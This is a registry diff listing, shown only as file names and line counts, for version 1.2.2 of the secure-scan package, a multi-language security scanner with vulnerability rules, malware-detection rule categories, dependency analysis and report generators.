secure-scan 1.2.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +564 -0
- package/dist/ai/aiAnalyzer.d.ts +99 -0
- package/dist/ai/aiAnalyzer.d.ts.map +1 -0
- package/dist/ai/aiAnalyzer.js +669 -0
- package/dist/ai/aiAnalyzer.js.map +1 -0
- package/dist/ai/index.d.ts +5 -0
- package/dist/ai/index.d.ts.map +1 -0
- package/dist/ai/index.js +21 -0
- package/dist/ai/index.js.map +1 -0
- package/dist/analyzers/base/baseAnalyzer.d.ts +44 -0
- package/dist/analyzers/base/baseAnalyzer.d.ts.map +1 -0
- package/dist/analyzers/base/baseAnalyzer.js +53 -0
- package/dist/analyzers/base/baseAnalyzer.js.map +1 -0
- package/dist/analyzers/base/index.d.ts +5 -0
- package/dist/analyzers/base/index.d.ts.map +1 -0
- package/dist/analyzers/base/index.js +21 -0
- package/dist/analyzers/base/index.js.map +1 -0
- package/dist/analyzers/c-cpp/cppAnalyzer.d.ts +60 -0
- package/dist/analyzers/c-cpp/cppAnalyzer.d.ts.map +1 -0
- package/dist/analyzers/c-cpp/cppAnalyzer.js +218 -0
- package/dist/analyzers/c-cpp/cppAnalyzer.js.map +1 -0
- package/dist/analyzers/c-cpp/index.d.ts +5 -0
- package/dist/analyzers/c-cpp/index.d.ts.map +1 -0
- package/dist/analyzers/c-cpp/index.js +21 -0
- package/dist/analyzers/c-cpp/index.js.map +1 -0
- package/dist/analyzers/core/engine/index.d.ts +5 -0
- package/dist/analyzers/core/engine/index.d.ts.map +1 -0
- package/dist/analyzers/core/engine/index.js +21 -0
- package/dist/analyzers/core/engine/index.js.map +1 -0
- package/dist/analyzers/core/engine/ruleEngine.d.ts +46 -0
- package/dist/analyzers/core/engine/ruleEngine.d.ts.map +1 -0
- package/dist/analyzers/core/engine/ruleEngine.js +173 -0
- package/dist/analyzers/core/engine/ruleEngine.js.map +1 -0
- package/dist/analyzers/core/index.d.ts +8 -0
- package/dist/analyzers/core/index.d.ts.map +1 -0
- package/dist/analyzers/core/index.js +24 -0
- package/dist/analyzers/core/index.js.map +1 -0
- package/dist/analyzers/core/scanner/fileScanner.d.ts +31 -0
- package/dist/analyzers/core/scanner/fileScanner.d.ts.map +1 -0
- package/dist/analyzers/core/scanner/fileScanner.js +199 -0
- package/dist/analyzers/core/scanner/fileScanner.js.map +1 -0
- package/dist/analyzers/core/scanner/index.d.ts +5 -0
- package/dist/analyzers/core/scanner/index.d.ts.map +1 -0
- package/dist/analyzers/core/scanner/index.js +21 -0
- package/dist/analyzers/core/scanner/index.js.map +1 -0
- package/dist/analyzers/core/scoring/index.d.ts +5 -0
- package/dist/analyzers/core/scoring/index.d.ts.map +1 -0
- package/dist/analyzers/core/scoring/index.js +21 -0
- package/dist/analyzers/core/scoring/index.js.map +1 -0
- package/dist/analyzers/core/scoring/riskScoring.d.ts +49 -0
- package/dist/analyzers/core/scoring/riskScoring.d.ts.map +1 -0
- package/dist/analyzers/core/scoring/riskScoring.js +180 -0
- package/dist/analyzers/core/scoring/riskScoring.js.map +1 -0
- package/dist/analyzers/core/securityScanner.d.ts +47 -0
- package/dist/analyzers/core/securityScanner.d.ts.map +1 -0
- package/dist/analyzers/core/securityScanner.js +298 -0
- package/dist/analyzers/core/securityScanner.js.map +1 -0
- package/dist/analyzers/csharp/csharpAnalyzer.d.ts +64 -0
- package/dist/analyzers/csharp/csharpAnalyzer.d.ts.map +1 -0
- package/dist/analyzers/csharp/csharpAnalyzer.js +232 -0
- package/dist/analyzers/csharp/csharpAnalyzer.js.map +1 -0
- package/dist/analyzers/csharp/index.d.ts +5 -0
- package/dist/analyzers/csharp/index.d.ts.map +1 -0
- package/dist/analyzers/csharp/index.js +21 -0
- package/dist/analyzers/csharp/index.js.map +1 -0
- package/dist/analyzers/iac/iacAnalyzer.d.ts +36 -0
- package/dist/analyzers/iac/iacAnalyzer.d.ts.map +1 -0
- package/dist/analyzers/iac/iacAnalyzer.js +182 -0
- package/dist/analyzers/iac/iacAnalyzer.js.map +1 -0
- package/dist/analyzers/iac/index.d.ts +5 -0
- package/dist/analyzers/iac/index.d.ts.map +1 -0
- package/dist/analyzers/iac/index.js +21 -0
- package/dist/analyzers/iac/index.js.map +1 -0
- package/dist/analyzers/index.d.ts +30 -0
- package/dist/analyzers/index.d.ts.map +1 -0
- package/dist/analyzers/index.js +80 -0
- package/dist/analyzers/index.js.map +1 -0
- package/dist/analyzers/java/index.d.ts +5 -0
- package/dist/analyzers/java/index.d.ts.map +1 -0
- package/dist/analyzers/java/index.js +21 -0
- package/dist/analyzers/java/index.js.map +1 -0
- package/dist/analyzers/java/javaAnalyzer.d.ts +64 -0
- package/dist/analyzers/java/javaAnalyzer.d.ts.map +1 -0
- package/dist/analyzers/java/javaAnalyzer.js +224 -0
- package/dist/analyzers/java/javaAnalyzer.js.map +1 -0
- package/dist/analyzers/javascript/astUtils.d.ts +170 -0
- package/dist/analyzers/javascript/astUtils.d.ts.map +1 -0
- package/dist/analyzers/javascript/astUtils.js +700 -0
- package/dist/analyzers/javascript/astUtils.js.map +1 -0
- package/dist/analyzers/javascript/index.d.ts +18 -0
- package/dist/analyzers/javascript/index.d.ts.map +1 -0
- package/dist/analyzers/javascript/index.js +50 -0
- package/dist/analyzers/javascript/index.js.map +1 -0
- package/dist/analyzers/javascript/javascriptAnalyzer.d.ts +111 -0
- package/dist/analyzers/javascript/javascriptAnalyzer.d.ts.map +1 -0
- package/dist/analyzers/javascript/javascriptAnalyzer.js +860 -0
- package/dist/analyzers/javascript/javascriptAnalyzer.js.map +1 -0
- package/dist/analyzers/javascript/malwareDetector.d.ts +102 -0
- package/dist/analyzers/javascript/malwareDetector.d.ts.map +1 -0
- package/dist/analyzers/javascript/malwareDetector.js +616 -0
- package/dist/analyzers/javascript/malwareDetector.js.map +1 -0
- package/dist/analyzers/javascript/packageJsonAnalyzer.d.ts +87 -0
- package/dist/analyzers/javascript/packageJsonAnalyzer.d.ts.map +1 -0
- package/dist/analyzers/javascript/packageJsonAnalyzer.js +553 -0
- package/dist/analyzers/javascript/packageJsonAnalyzer.js.map +1 -0
- package/dist/analyzers/javascript/taintAnalyzer.d.ts +120 -0
- package/dist/analyzers/javascript/taintAnalyzer.d.ts.map +1 -0
- package/dist/analyzers/javascript/taintAnalyzer.js +526 -0
- package/dist/analyzers/javascript/taintAnalyzer.js.map +1 -0
- package/dist/analyzers/php/index.d.ts +5 -0
- package/dist/analyzers/php/index.d.ts.map +1 -0
- package/dist/analyzers/php/index.js +21 -0
- package/dist/analyzers/php/index.js.map +1 -0
- package/dist/analyzers/php/phpAnalyzer.d.ts +56 -0
- package/dist/analyzers/php/phpAnalyzer.d.ts.map +1 -0
- package/dist/analyzers/php/phpAnalyzer.js +202 -0
- package/dist/analyzers/php/phpAnalyzer.js.map +1 -0
- package/dist/analyzers/python/index.d.ts +5 -0
- package/dist/analyzers/python/index.d.ts.map +1 -0
- package/dist/analyzers/python/index.js +21 -0
- package/dist/analyzers/python/index.js.map +1 -0
- package/dist/analyzers/python/pythonAnalyzer.d.ts +64 -0
- package/dist/analyzers/python/pythonAnalyzer.d.ts.map +1 -0
- package/dist/analyzers/python/pythonAnalyzer.js +226 -0
- package/dist/analyzers/python/pythonAnalyzer.js.map +1 -0
- package/dist/cli/index.d.ts +7 -0
- package/dist/cli/index.d.ts.map +1 -0
- package/dist/cli/index.js +281 -0
- package/dist/cli/index.js.map +1 -0
- package/dist/core/engine/index.d.ts +5 -0
- package/dist/core/engine/index.d.ts.map +1 -0
- package/dist/core/engine/index.js +21 -0
- package/dist/core/engine/index.js.map +1 -0
- package/dist/core/engine/ruleEngine.d.ts +46 -0
- package/dist/core/engine/ruleEngine.d.ts.map +1 -0
- package/dist/core/engine/ruleEngine.js +173 -0
- package/dist/core/engine/ruleEngine.js.map +1 -0
- package/dist/core/index.d.ts +8 -0
- package/dist/core/index.d.ts.map +1 -0
- package/dist/core/index.js +24 -0
- package/dist/core/index.js.map +1 -0
- package/dist/core/scanner/fileScanner.d.ts +31 -0
- package/dist/core/scanner/fileScanner.d.ts.map +1 -0
- package/dist/core/scanner/fileScanner.js +199 -0
- package/dist/core/scanner/fileScanner.js.map +1 -0
- package/dist/core/scanner/index.d.ts +5 -0
- package/dist/core/scanner/index.d.ts.map +1 -0
- package/dist/core/scanner/index.js +21 -0
- package/dist/core/scanner/index.js.map +1 -0
- package/dist/core/scoring/index.d.ts +5 -0
- package/dist/core/scoring/index.d.ts.map +1 -0
- package/dist/core/scoring/index.js +21 -0
- package/dist/core/scoring/index.js.map +1 -0
- package/dist/core/scoring/riskScoring.d.ts +49 -0
- package/dist/core/scoring/riskScoring.d.ts.map +1 -0
- package/dist/core/scoring/riskScoring.js +180 -0
- package/dist/core/scoring/riskScoring.js.map +1 -0
- package/dist/core/securityScanner.d.ts +47 -0
- package/dist/core/securityScanner.d.ts.map +1 -0
- package/dist/core/securityScanner.js +298 -0
- package/dist/core/securityScanner.js.map +1 -0
- package/dist/dependencies/aiDependencyAnalyzer.d.ts +96 -0
- package/dist/dependencies/aiDependencyAnalyzer.d.ts.map +1 -0
- package/dist/dependencies/aiDependencyAnalyzer.js +435 -0
- package/dist/dependencies/aiDependencyAnalyzer.js.map +1 -0
- package/dist/dependencies/database/cveDatabase.d.ts +32 -0
- package/dist/dependencies/database/cveDatabase.d.ts.map +1 -0
- package/dist/dependencies/database/cveDatabase.js +393 -0
- package/dist/dependencies/database/cveDatabase.js.map +1 -0
- package/dist/dependencies/database/index.d.ts +6 -0
- package/dist/dependencies/database/index.d.ts.map +1 -0
- package/dist/dependencies/database/index.js +22 -0
- package/dist/dependencies/database/index.js.map +1 -0
- package/dist/dependencies/database/maliciousPackages.d.ts +43 -0
- package/dist/dependencies/database/maliciousPackages.d.ts.map +1 -0
- package/dist/dependencies/database/maliciousPackages.js +279 -0
- package/dist/dependencies/database/maliciousPackages.js.map +1 -0
- package/dist/dependencies/dependencyAnalyzer.d.ts +74 -0
- package/dist/dependencies/dependencyAnalyzer.d.ts.map +1 -0
- package/dist/dependencies/dependencyAnalyzer.js +349 -0
- package/dist/dependencies/dependencyAnalyzer.js.map +1 -0
- package/dist/dependencies/detectors/index.d.ts +7 -0
- package/dist/dependencies/detectors/index.d.ts.map +1 -0
- package/dist/dependencies/detectors/index.js +28 -0
- package/dist/dependencies/detectors/index.js.map +1 -0
- package/dist/dependencies/detectors/securityStandards.d.ts +15 -0
- package/dist/dependencies/detectors/securityStandards.d.ts.map +1 -0
- package/dist/dependencies/detectors/securityStandards.js +178 -0
- package/dist/dependencies/detectors/securityStandards.js.map +1 -0
- package/dist/dependencies/detectors/vulnerabilityDetector.d.ts +53 -0
- package/dist/dependencies/detectors/vulnerabilityDetector.d.ts.map +1 -0
- package/dist/dependencies/detectors/vulnerabilityDetector.js +289 -0
- package/dist/dependencies/detectors/vulnerabilityDetector.js.map +1 -0
- package/dist/dependencies/index.d.ts +14 -0
- package/dist/dependencies/index.d.ts.map +1 -0
- package/dist/dependencies/index.js +43 -0
- package/dist/dependencies/index.js.map +1 -0
- package/dist/dependencies/installed/index.d.ts +8 -0
- package/dist/dependencies/installed/index.d.ts.map +1 -0
- package/dist/dependencies/installed/index.js +24 -0
- package/dist/dependencies/installed/index.js.map +1 -0
- package/dist/dependencies/installed/installedScanner.d.ts +91 -0
- package/dist/dependencies/installed/installedScanner.d.ts.map +1 -0
- package/dist/dependencies/installed/installedScanner.js +766 -0
- package/dist/dependencies/installed/installedScanner.js.map +1 -0
- package/dist/dependencies/installed/malwarePatterns.d.ts +32 -0
- package/dist/dependencies/installed/malwarePatterns.d.ts.map +1 -0
- package/dist/dependencies/installed/malwarePatterns.js +480 -0
- package/dist/dependencies/installed/malwarePatterns.js.map +1 -0
- package/dist/dependencies/installed/types.d.ts +274 -0
- package/dist/dependencies/installed/types.d.ts.map +1 -0
- package/dist/dependencies/installed/types.js +7 -0
- package/dist/dependencies/installed/types.js.map +1 -0
- package/dist/dependencies/parsers/base/baseParser.d.ts +44 -0
- package/dist/dependencies/parsers/base/baseParser.d.ts.map +1 -0
- package/dist/dependencies/parsers/base/baseParser.js +80 -0
- package/dist/dependencies/parsers/base/baseParser.js.map +1 -0
- package/dist/dependencies/parsers/base/index.d.ts +6 -0
- package/dist/dependencies/parsers/base/index.d.ts.map +1 -0
- package/dist/dependencies/parsers/base/index.js +27 -0
- package/dist/dependencies/parsers/base/index.js.map +1 -0
- package/dist/dependencies/parsers/cpp/cppParser.d.ts +36 -0
- package/dist/dependencies/parsers/cpp/cppParser.d.ts.map +1 -0
- package/dist/dependencies/parsers/cpp/cppParser.js +196 -0
- package/dist/dependencies/parsers/cpp/cppParser.js.map +1 -0
- package/dist/dependencies/parsers/cpp/index.d.ts +6 -0
- package/dist/dependencies/parsers/cpp/index.d.ts.map +1 -0
- package/dist/dependencies/parsers/cpp/index.js +27 -0
- package/dist/dependencies/parsers/cpp/index.js.map +1 -0
- package/dist/dependencies/parsers/csharp/csharpParser.d.ts +32 -0
- package/dist/dependencies/parsers/csharp/csharpParser.d.ts.map +1 -0
- package/dist/dependencies/parsers/csharp/csharpParser.js +125 -0
- package/dist/dependencies/parsers/csharp/csharpParser.js.map +1 -0
- package/dist/dependencies/parsers/csharp/index.d.ts +6 -0
- package/dist/dependencies/parsers/csharp/index.d.ts.map +1 -0
- package/dist/dependencies/parsers/csharp/index.js +27 -0
- package/dist/dependencies/parsers/csharp/index.js.map +1 -0
- package/dist/dependencies/parsers/index.d.ts +24 -0
- package/dist/dependencies/parsers/index.d.ts.map +1 -0
- package/dist/dependencies/parsers/index.js +69 -0
- package/dist/dependencies/parsers/index.js.map +1 -0
- package/dist/dependencies/parsers/java/index.d.ts +6 -0
- package/dist/dependencies/parsers/java/index.d.ts.map +1 -0
- package/dist/dependencies/parsers/java/index.js +27 -0
- package/dist/dependencies/parsers/java/index.js.map +1 -0
- package/dist/dependencies/parsers/java/javaParser.d.ts +32 -0
- package/dist/dependencies/parsers/java/javaParser.d.ts.map +1 -0
- package/dist/dependencies/parsers/java/javaParser.js +168 -0
- package/dist/dependencies/parsers/java/javaParser.js.map +1 -0
- package/dist/dependencies/parsers/javascript/index.d.ts +6 -0
- package/dist/dependencies/parsers/javascript/index.d.ts.map +1 -0
- package/dist/dependencies/parsers/javascript/index.js +27 -0
- package/dist/dependencies/parsers/javascript/index.js.map +1 -0
- package/dist/dependencies/parsers/javascript/javascriptParser.d.ts +55 -0
- package/dist/dependencies/parsers/javascript/javascriptParser.d.ts.map +1 -0
- package/dist/dependencies/parsers/javascript/javascriptParser.js +266 -0
- package/dist/dependencies/parsers/javascript/javascriptParser.js.map +1 -0
- package/dist/dependencies/parsers/php/index.d.ts +6 -0
- package/dist/dependencies/parsers/php/index.d.ts.map +1 -0
- package/dist/dependencies/parsers/php/index.js +27 -0
- package/dist/dependencies/parsers/php/index.js.map +1 -0
- package/dist/dependencies/parsers/php/phpParser.d.ts +35 -0
- package/dist/dependencies/parsers/php/phpParser.d.ts.map +1 -0
- package/dist/dependencies/parsers/php/phpParser.js +162 -0
- package/dist/dependencies/parsers/php/phpParser.js.map +1 -0
- package/dist/dependencies/parsers/python/index.d.ts +6 -0
- package/dist/dependencies/parsers/python/index.d.ts.map +1 -0
- package/dist/dependencies/parsers/python/index.js +27 -0
- package/dist/dependencies/parsers/python/index.js.map +1 -0
- package/dist/dependencies/parsers/python/pythonParser.d.ts +60 -0
- package/dist/dependencies/parsers/python/pythonParser.d.ts.map +1 -0
- package/dist/dependencies/parsers/python/pythonParser.js +336 -0
- package/dist/dependencies/parsers/python/pythonParser.js.map +1 -0
- package/dist/dependencies/types.d.ts +280 -0
- package/dist/dependencies/types.d.ts.map +1 -0
- package/dist/dependencies/types.js +59 -0
- package/dist/dependencies/types.js.map +1 -0
- package/dist/i18n/index.d.ts +2 -0
- package/dist/i18n/index.d.ts.map +1 -0
- package/dist/i18n/index.js +18 -0
- package/dist/i18n/index.js.map +1 -0
- package/dist/i18n/translations.d.ts +55 -0
- package/dist/i18n/translations.d.ts.map +1 -0
- package/dist/i18n/translations.js +119 -0
- package/dist/i18n/translations.js.map +1 -0
- package/dist/index.d.ts +14 -0
- package/dist/index.d.ts.map +1 -0
- package/dist/index.js +36 -0
- package/dist/index.js.map +1 -0
- package/dist/reports/dependencyReportGenerator.d.ts +20 -0
- package/dist/reports/dependencyReportGenerator.d.ts.map +1 -0
- package/dist/reports/dependencyReportGenerator.js +690 -0
- package/dist/reports/dependencyReportGenerator.js.map +1 -0
- package/dist/reports/htmlReportGenerator.d.ts +43 -0
- package/dist/reports/htmlReportGenerator.d.ts.map +1 -0
- package/dist/reports/htmlReportGenerator.js +793 -0
- package/dist/reports/htmlReportGenerator.js.map +1 -0
- package/dist/reports/index.d.ts +7 -0
- package/dist/reports/index.d.ts.map +1 -0
- package/dist/reports/index.js +23 -0
- package/dist/reports/index.js.map +1 -0
- package/dist/reports/installedDepsReportGenerator.d.ts +14 -0
- package/dist/reports/installedDepsReportGenerator.d.ts.map +1 -0
- package/dist/reports/installedDepsReportGenerator.js +872 -0
- package/dist/reports/installedDepsReportGenerator.js.map +1 -0
- package/dist/rules/index.d.ts +31 -0
- package/dist/rules/index.d.ts.map +1 -0
- package/dist/rules/index.js +95 -0
- package/dist/rules/index.js.map +1 -0
- package/dist/rules/malware/categories/backdoors.d.ts +12 -0
- package/dist/rules/malware/categories/backdoors.d.ts.map +1 -0
- package/dist/rules/malware/categories/backdoors.js +163 -0
- package/dist/rules/malware/categories/backdoors.js.map +1 -0
- package/dist/rules/malware/categories/cryptominers.d.ts +13 -0
- package/dist/rules/malware/categories/cryptominers.d.ts.map +1 -0
- package/dist/rules/malware/categories/cryptominers.js +415 -0
- package/dist/rules/malware/categories/cryptominers.js.map +1 -0
- package/dist/rules/malware/categories/exfiltration.d.ts +20 -0
- package/dist/rules/malware/categories/exfiltration.d.ts.map +1 -0
- package/dist/rules/malware/categories/exfiltration.js +658 -0
- package/dist/rules/malware/categories/exfiltration.js.map +1 -0
- package/dist/rules/malware/categories/keyloggers.d.ts +19 -0
- package/dist/rules/malware/categories/keyloggers.d.ts.map +1 -0
- package/dist/rules/malware/categories/keyloggers.js +763 -0
- package/dist/rules/malware/categories/keyloggers.js.map +1 -0
- package/dist/rules/malware/categories/loaders.d.ts +20 -0
- package/dist/rules/malware/categories/loaders.d.ts.map +1 -0
- package/dist/rules/malware/categories/loaders.js +702 -0
- package/dist/rules/malware/categories/loaders.js.map +1 -0
- package/dist/rules/malware/categories/network.d.ts +19 -0
- package/dist/rules/malware/categories/network.d.ts.map +1 -0
- package/dist/rules/malware/categories/network.js +622 -0
- package/dist/rules/malware/categories/network.js.map +1 -0
- package/dist/rules/malware/categories/obfuscation.d.ts +22 -0
- package/dist/rules/malware/categories/obfuscation.d.ts.map +1 -0
- package/dist/rules/malware/categories/obfuscation.js +766 -0
- package/dist/rules/malware/categories/obfuscation.js.map +1 -0
- package/dist/rules/malware/constants/index.d.ts +281 -0
- package/dist/rules/malware/constants/index.d.ts.map +1 -0
- package/dist/rules/malware/constants/index.js +327 -0
- package/dist/rules/malware/constants/index.js.map +1 -0
- package/dist/rules/malware/engine/index.d.ts +178 -0
- package/dist/rules/malware/engine/index.d.ts.map +1 -0
- package/dist/rules/malware/engine/index.js +552 -0
- package/dist/rules/malware/engine/index.js.map +1 -0
- package/dist/rules/malware/index.d.ts +205 -0
- package/dist/rules/malware/index.d.ts.map +1 -0
- package/dist/rules/malware/index.js +837 -0
- package/dist/rules/malware/index.js.map +1 -0
- package/dist/rules/malware/scoring/index.d.ts +84 -0
- package/dist/rules/malware/scoring/index.d.ts.map +1 -0
- package/dist/rules/malware/scoring/index.js +441 -0
- package/dist/rules/malware/scoring/index.js.map +1 -0
- package/dist/rules/malware/types/index.d.ts +616 -0
- package/dist/rules/malware/types/index.d.ts.map +1 -0
- package/dist/rules/malware/types/index.js +155 -0
- package/dist/rules/malware/types/index.js.map +1 -0
- package/dist/rules/malware/utils/index.d.ts +117 -0
- package/dist/rules/malware/utils/index.d.ts.map +1 -0
- package/dist/rules/malware/utils/index.js +514 -0
- package/dist/rules/malware/utils/index.js.map +1 -0
- package/dist/rules/standards.d.ts +26 -0
- package/dist/rules/standards.d.ts.map +1 -0
- package/dist/rules/standards.js +352 -0
- package/dist/rules/standards.js.map +1 -0
- package/dist/rules/vulnerabilities/constants/index.d.ts +835 -0
- package/dist/rules/vulnerabilities/constants/index.d.ts.map +1 -0
- package/dist/rules/vulnerabilities/constants/index.js +544 -0
- package/dist/rules/vulnerabilities/constants/index.js.map +1 -0
- package/dist/rules/vulnerabilities/engine/index.d.ts +145 -0
- package/dist/rules/vulnerabilities/engine/index.d.ts.map +1 -0
- package/dist/rules/vulnerabilities/engine/index.js +581 -0
- package/dist/rules/vulnerabilities/engine/index.js.map +1 -0
- package/dist/rules/vulnerabilities/index.d.ts +148 -0
- package/dist/rules/vulnerabilities/index.d.ts.map +1 -0
- package/dist/rules/vulnerabilities/index.js +252 -0
- package/dist/rules/vulnerabilities/index.js.map +1 -0
- package/dist/rules/vulnerabilities/rules/authentication.d.ts +8 -0
- package/dist/rules/vulnerabilities/rules/authentication.d.ts.map +1 -0
- package/dist/rules/vulnerabilities/rules/authentication.js +419 -0
- package/dist/rules/vulnerabilities/rules/authentication.js.map +1 -0
- package/dist/rules/vulnerabilities/rules/commandInjection.d.ts +8 -0
- package/dist/rules/vulnerabilities/rules/commandInjection.d.ts.map +1 -0
- package/dist/rules/vulnerabilities/rules/commandInjection.js +300 -0
- package/dist/rules/vulnerabilities/rules/commandInjection.js.map +1 -0
- package/dist/rules/vulnerabilities/rules/csrf.d.ts +8 -0
- package/dist/rules/vulnerabilities/rules/csrf.d.ts.map +1 -0
- package/dist/rules/vulnerabilities/rules/csrf.js +261 -0
- package/dist/rules/vulnerabilities/rules/csrf.js.map +1 -0
- package/dist/rules/vulnerabilities/rules/deserialization.d.ts +8 -0
- package/dist/rules/vulnerabilities/rules/deserialization.d.ts.map +1 -0
- package/dist/rules/vulnerabilities/rules/deserialization.js +336 -0
- package/dist/rules/vulnerabilities/rules/deserialization.js.map +1 -0
- package/dist/rules/vulnerabilities/rules/fileUpload.d.ts +8 -0
- package/dist/rules/vulnerabilities/rules/fileUpload.d.ts.map +1 -0
- package/dist/rules/vulnerabilities/rules/fileUpload.js +325 -0
- package/dist/rules/vulnerabilities/rules/fileUpload.js.map +1 -0
- package/dist/rules/vulnerabilities/rules/hardcodedSecrets.d.ts +8 -0
- package/dist/rules/vulnerabilities/rules/hardcodedSecrets.d.ts.map +1 -0
- package/dist/rules/vulnerabilities/rules/hardcodedSecrets.js +446 -0
- package/dist/rules/vulnerabilities/rules/hardcodedSecrets.js.map +1 -0
- package/dist/rules/vulnerabilities/rules/index.d.ts +17 -0
- package/dist/rules/vulnerabilities/rules/index.d.ts.map +1 -0
- package/dist/rules/vulnerabilities/rules/index.js +47 -0
- package/dist/rules/vulnerabilities/rules/index.js.map +1 -0
- package/dist/rules/vulnerabilities/rules/pathTraversal.d.ts +8 -0
- package/dist/rules/vulnerabilities/rules/pathTraversal.d.ts.map +1 -0
- package/dist/rules/vulnerabilities/rules/pathTraversal.js +351 -0
- package/dist/rules/vulnerabilities/rules/pathTraversal.js.map +1 -0
- package/dist/rules/vulnerabilities/rules/prototypePollution.d.ts +8 -0
- package/dist/rules/vulnerabilities/rules/prototypePollution.d.ts.map +1 -0
- package/dist/rules/vulnerabilities/rules/prototypePollution.js +272 -0
- package/dist/rules/vulnerabilities/rules/prototypePollution.js.map +1 -0
- package/dist/rules/vulnerabilities/rules/securityMisconfiguration.d.ts +8 -0
- package/dist/rules/vulnerabilities/rules/securityMisconfiguration.d.ts.map +1 -0
- package/dist/rules/vulnerabilities/rules/securityMisconfiguration.js +438 -0
- package/dist/rules/vulnerabilities/rules/securityMisconfiguration.js.map +1 -0
- package/dist/rules/vulnerabilities/rules/sqlInjection.d.ts +12 -0
- package/dist/rules/vulnerabilities/rules/sqlInjection.d.ts.map +1 -0
- package/dist/rules/vulnerabilities/rules/sqlInjection.js +636 -0
- package/dist/rules/vulnerabilities/rules/sqlInjection.js.map +1 -0
- package/dist/rules/vulnerabilities/rules/ssrf.d.ts +8 -0
- package/dist/rules/vulnerabilities/rules/ssrf.d.ts.map +1 -0
- package/dist/rules/vulnerabilities/rules/ssrf.js +401 -0
- package/dist/rules/vulnerabilities/rules/ssrf.js.map +1 -0
- package/dist/rules/vulnerabilities/rules/xss.d.ts +11 -0
- package/dist/rules/vulnerabilities/rules/xss.d.ts.map +1 -0
- package/dist/rules/vulnerabilities/rules/xss.js +724 -0
- package/dist/rules/vulnerabilities/rules/xss.js.map +1 -0
- package/dist/rules/vulnerabilities/scoring/index.d.ts +80 -0
- package/dist/rules/vulnerabilities/scoring/index.d.ts.map +1 -0
- package/dist/rules/vulnerabilities/scoring/index.js +414 -0
- package/dist/rules/vulnerabilities/scoring/index.js.map +1 -0
- package/dist/rules/vulnerabilities/types/index.d.ts +830 -0
- package/dist/rules/vulnerabilities/types/index.d.ts.map +1 -0
- package/dist/rules/vulnerabilities/types/index.js +164 -0
- package/dist/rules/vulnerabilities/types/index.js.map +1 -0
- package/dist/rules/vulnerabilities/utils/index.d.ts +206 -0
- package/dist/rules/vulnerabilities/utils/index.d.ts.map +1 -0
- package/dist/rules/vulnerabilities/utils/index.js +615 -0
- package/dist/rules/vulnerabilities/utils/index.js.map +1 -0
- package/dist/types/index.d.ts +359 -0
- package/dist/types/index.d.ts.map +1 -0
- package/dist/types/index.js +61 -0
- package/dist/types/index.js.map +1 -0
- package/dist/utils/index.d.ts +82 -0
- package/dist/utils/index.d.ts.map +1 -0
- package/dist/utils/index.js +326 -0
- package/dist/utils/index.js.map +1 -0
- package/dist/utils/logger.d.ts +40 -0
- package/dist/utils/logger.d.ts.map +1 -0
- package/dist/utils/logger.js +139 -0
- package/dist/utils/logger.js.map +1 -0
- package/docs/ARCHITECTURE.md +320 -0
- package/docs/V1.2.1-IA_Performances.md +116 -0
- package/docs/images/WIN_Defender.png +0 -0
- package/package.json +68 -0
- package/secure-scan.config.json +134 -0
- package/secure-scan.sln +29 -0
- package/src/ai/aiAnalyzer.ts +714 -0
- package/src/ai/index.ts +5 -0
- package/src/analyzers/base/baseAnalyzer.ts +66 -0
- package/src/analyzers/base/index.ts +5 -0
- package/src/analyzers/c-cpp/cppAnalyzer.ts +308 -0
- package/src/analyzers/c-cpp/index.ts +5 -0
- package/src/analyzers/core/engine/index.ts +5 -0
- package/src/analyzers/core/engine/ruleEngine.ts +221 -0
- package/src/analyzers/core/index.ts +8 -0
- package/src/analyzers/core/scanner/fileScanner.ts +204 -0
- package/src/analyzers/core/scanner/index.ts +5 -0
- package/src/analyzers/core/scoring/index.ts +5 -0
- package/src/analyzers/core/scoring/riskScoring.ts +198 -0
- package/src/analyzers/core/securityScanner.ts +321 -0
- package/src/analyzers/csharp/csharpAnalyzer.ts +328 -0
- package/src/analyzers/csharp/index.ts +5 -0
- package/src/analyzers/iac/iacAnalyzer.ts +318 -0
- package/src/analyzers/iac/index.ts +5 -0
- package/src/analyzers/index.ts +67 -0
- package/src/analyzers/java/index.ts +5 -0
- package/src/analyzers/java/javaAnalyzer.ts +320 -0
- package/src/analyzers/javascript/PROMPT_JS_ANALYZER.md +267 -0
- package/src/analyzers/javascript/astUtils.ts +789 -0
- package/src/analyzers/javascript/index.ts +50 -0
- package/src/analyzers/javascript/javascriptAnalyzer.ts +984 -0
- package/src/analyzers/javascript/malwareDetector.ts +697 -0
- package/src/analyzers/javascript/packageJsonAnalyzer.ts +626 -0
- package/src/analyzers/javascript/taintAnalyzer.ts +630 -0
- package/src/analyzers/php/index.ts +5 -0
- package/src/analyzers/php/phpAnalyzer.ts +280 -0
- package/src/analyzers/python/index.ts +5 -0
- package/src/analyzers/python/pythonAnalyzer.ts +319 -0
- package/src/cli/index.ts +276 -0
- package/src/dependencies/aiDependencyAnalyzer.ts +496 -0
- package/src/dependencies/database/cveDatabase.ts +426 -0
- package/src/dependencies/database/index.ts +6 -0
- package/src/dependencies/database/maliciousPackages.ts +286 -0
- package/src/dependencies/dependencyAnalyzer.ts +394 -0
- package/src/dependencies/detectors/index.ts +7 -0
- package/src/dependencies/detectors/securityStandards.ts +200 -0
- package/src/dependencies/detectors/vulnerabilityDetector.ts +343 -0
- package/src/dependencies/index.ts +27 -0
- package/src/dependencies/installed/index.ts +8 -0
- package/src/dependencies/installed/installedScanner.ts +821 -0
- package/src/dependencies/installed/malwarePatterns.ts +492 -0
- package/src/dependencies/installed/types.ts +287 -0
- package/src/dependencies/parsers/base/baseParser.ts +108 -0
- package/src/dependencies/parsers/base/index.ts +6 -0
- package/src/dependencies/parsers/cpp/cppParser.ts +245 -0
- package/src/dependencies/parsers/cpp/index.ts +6 -0
- package/src/dependencies/parsers/csharp/csharpParser.ts +151 -0
- package/src/dependencies/parsers/csharp/index.ts +6 -0
- package/src/dependencies/parsers/index.ts +56 -0
- package/src/dependencies/parsers/java/index.ts +6 -0
- package/src/dependencies/parsers/java/javaParser.ts +203 -0
- package/src/dependencies/parsers/javascript/index.ts +6 -0
- package/src/dependencies/parsers/javascript/javascriptParser.ts +362 -0
- package/src/dependencies/parsers/php/index.ts +6 -0
- package/src/dependencies/parsers/php/phpParser.ts +208 -0
- package/src/dependencies/parsers/python/index.ts +6 -0
- package/src/dependencies/parsers/python/pythonParser.ts +437 -0
- package/src/dependencies/types.ts +330 -0
- package/src/i18n/index.ts +1 -0
- package/src/i18n/translations.ts +194 -0
